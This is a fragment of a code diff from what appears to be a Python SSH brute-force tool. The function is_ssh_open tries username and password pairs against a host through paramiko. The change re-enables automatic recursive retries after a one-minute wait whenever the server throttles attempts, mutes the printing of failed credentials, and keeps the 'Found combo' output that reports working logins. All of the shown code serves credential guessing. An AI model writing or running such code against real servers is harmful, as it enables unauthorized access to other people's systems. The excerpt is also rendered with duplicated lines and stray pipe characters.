|
|
@ -29,12 +29,12 @@ def is_ssh_open(hostname, username, password): |
|
|
|
returning = False |
|
|
|
returning = False |
|
|
|
except paramiko.SSHException as err: |
|
|
|
except paramiko.SSHException as err: |
|
|
|
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") |
|
|
|
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") |
|
|
|
print(f"{RED}{username}:{password}{RESET}") |
|
|
|
# print(f"{RED}{username}:{password}{RESET}") |
|
|
|
print(f"{RED}{err}{RESET}") |
|
|
|
# print(f"{RED}{err}{RESET}") |
|
|
|
# sleep for a minute |
|
|
|
# sleep for a minute |
|
|
|
time.sleep(60) |
|
|
|
time.sleep(60) |
|
|
|
#returning = is_ssh_open(hostname, username, password) |
|
|
|
returning = is_ssh_open(hostname, username, password) |
|
|
|
returning = False |
|
|
|
# returning = False |
|
|
|
else: |
|
|
|
else: |
|
|
|
# connection was established successfully |
|
|
|
# connection was established successfully |
|
|
|
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") |
|
|
|
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") |
|
|
|